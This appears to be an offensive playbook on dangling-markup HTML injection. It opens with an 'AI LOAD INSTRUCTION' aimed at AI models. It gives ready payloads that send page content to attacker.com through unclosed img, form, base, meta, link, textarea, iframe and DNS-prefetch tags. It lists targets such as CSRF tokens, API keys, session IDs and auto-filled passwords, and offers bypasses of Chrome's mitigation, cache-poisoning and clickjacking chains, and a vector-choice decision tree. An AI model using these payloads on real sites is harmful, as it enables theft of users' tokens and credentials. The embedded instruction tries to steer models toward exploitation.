AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
You need dangling markup when ALL of these are true:
<script>, onerror, onload, etc.Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
Page before injection:
<div>Hello USER_INPUT</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
Injected payload:
<img src="https://attacker.com/collect?
Resulting HTML:
<div>Hello <img src="https://attacker.com/collect?</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
...rest of page until next matching quote (")...
The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.
<!-- Double-quote context -->
<img src="https://attacker.com/collect?
<!-- Single-quote context -->
<img src='https://attacker.com/collect?
<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?
The browser sends a GET request to attacker.com with all consumed content as query parameters.
Blocked by: img-src CSP directive
<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--
If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
Blocked by: form-action CSP directive
Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
<base href="https://attacker.com/">
All subsequent relative URLs on the page resolve to attacker's server:
<script src="/js/app.js"> → loads https://attacker.com/js/app.js
<a href="/profile"> → links to https://attacker.com/profile
<form action="/submit"> → submits to https://attacker.com/submit
Blocked by: base-uri CSP directive
<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
Redirects the entire page to attacker's server with consumed page content in the URL.
Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
<link rel="stylesheet" href="https://attacker.com/collect?
Browser requests the URL as a CSS resource, leaking consumed content.
Blocked by: style-src CSP directive
<table background="https://attacker.com/collect?
Works in older browsers that support the background attribute on table elements.
Blocked by: img-src CSP directive
<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?
Blocked by: media-src / img-src CSP directives
| Target Data | How It Appears in Page | Steal Technique |
|---|---|---|
| CSRF token | <input type="hidden" name="csrf" value="..."> |
Dangling <img src= before the form |
| Pre-filled email | <input value="user@example.com"> |
Dangling tag before the input |
| API keys in page | var apiKey = "sk-..." in inline script |
Dangling tag before the script block |
| Session ID in hidden field | <input name="session" value="..."> |
Dangling tag before the form |
| Auto-filled passwords | Browser auto-fills password field | <form action=attacker> with matching input names |
| OAuth state/tokens | In URL parameters or hidden form fields | Dangling tag on authorization page |
| Internal URLs/paths | Links, script sources, API endpoints | <base> tag hijack captures all relative URLs |
| Browser | Behavior |
|---|---|
| Chrome/Chromium | Blocks dangling markup in <img> src containing < or newlines (since Chrome 60). Still allows <form action>, <base>, <link>. |
| Firefox | More permissive with dangling markup in image sources. Allows newlines in attribute values. |
| Safari | Similar to Chrome's restrictions. May handle some edge cases differently. |
| Edge (Chromium) | Same as Chrome behavior. |
Chrome blocks navigation/resource load when the URL attribute value contains:
< character (indicates HTML tag consumption)\n, \r)Bypass: Use <form action> instead of <img src> — Chrome's block only targets specific tags.
Choose quote type strategically: if page uses " for attributes, inject with ' (and vice versa) to precisely control where consumption stops.
<form action="https://attacker.com/collect"><textarea name="data"> — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.
<!-- without closing --> consumes all content (no exfil, but hides page content)<style> unclosed treats page as CSS; combine with @import url("https://attacker.com/? for exfil<iframe src="https://target.com/page" name=" — name attribute consumes content, and window.name persists across origins after navigation.
| Limitation | Detail |
|---|---|
| Same-origin content only | Dangling markup only captures content from the same HTTP response |
| Quote matching | Consumption stops at the next matching quote character — may not reach target data |
| CSP img-src/form-action | Strict CSP can block most exfiltration vectors |
| Chrome's dangling markup mitigation | Blocks <img src= with < or newlines in URL |
| Injection point must be before target data | Can only capture content that appears after the injection in HTML source order |
| Content encoding | URL-unsafe characters in captured content may be mangled |
1. Inject <img src="https://target.com/redirect?url=https://attacker.com/collect?
2. Open redirect on target.com makes the request "same-origin" for some CSP checks
3. Redirect sends captured data to attacker
1. Find reflected HTML injection point
2. Inject dangling markup payload
3. If response is cached, ALL users see the dangling markup
4. Tokens/data from all victims exfiltrated
This turns a reflected injection into a stored/persistent attack.
1. Use dangling markup to steal CSRF token from page
2. Use stolen token to perform CSRF attack
3. Allows CSRF even when tokens are properly implemented
1. Inject <form action="https://attacker.com/collect"><textarea name="data">
2. Frame the page (if frame-ancestors allows)
3. Trick user into clicking "Submit" via clickjacking overlay
4. Form submits all captured page content to attacker
HTML injection exists but XSS is blocked (CSP/sanitizer/WAF)?
│
├── Identify injection context
│ ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect?
│ ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect?
│ └── Inside script block? → Close script first: </script><img src="...
│
├── What sensitive data exists AFTER injection point?
│ ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack
│ ├── User PII (email, name) → data theft
│ ├── API keys / secrets → account compromise
│ ├── No sensitive data after injection → dangling markup not useful here
│ └── Check different pages — injection may be on a page with sensitive data
│
├── Choose exfiltration vector based on CSP
│ ├── No CSP / lax CSP → <img src="... (simplest)
│ ├── img-src restricted?
│ │ ├── form-action unrestricted? → <form action="attacker"><textarea name=d>
│ │ ├── base-uri unrestricted? → <base href="attacker">
│ │ └── style-src unrestricted? → <link rel=stylesheet href="...
│ ├── Strict CSP on all directives?
│ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
│ │ ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
│ │ └── Window.name via iframe? → <iframe name="...
│ └── Nothing works? → dangling markup blocked, try other approaches
│
├── Handle Chrome's dangling markup mitigation
│ ├── Target uses Chrome? → Avoid <img src= with < or newlines
│ ├── Use <form action=> instead (not blocked)
│ ├── Use <base href=> (not blocked)
│ └── Test in Firefox as fallback (more permissive)
│
├── Choose quote type for maximum capture
│ ├── Target data uses double quotes? → Inject with single quote: <img src='...
│ ├── Target data uses single quotes? → Inject with double quote: <img src="...
│ └── Mixed quotes? → Test both, see which captures more useful data
│
└── Amplification
├── Response cached? → Poison cache → steal from multiple victims
├── Stored injection? → Every page view exfiltrates
└── Reflected only? → Deliver via phishing link
<img src= is mitigated, but <form action=, <base href=, <meta http-equiv=refresh> are NOT. Always try alternative vectors." for attributes, inject with ' (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.<textarea> is the most underrated vector: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.name attribute technique is powerful because window.name survives cross-origin navigation — a rare cross-origin data channel.<link rel=dns-prefetch href="//stolen-data.attacker.com"> triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.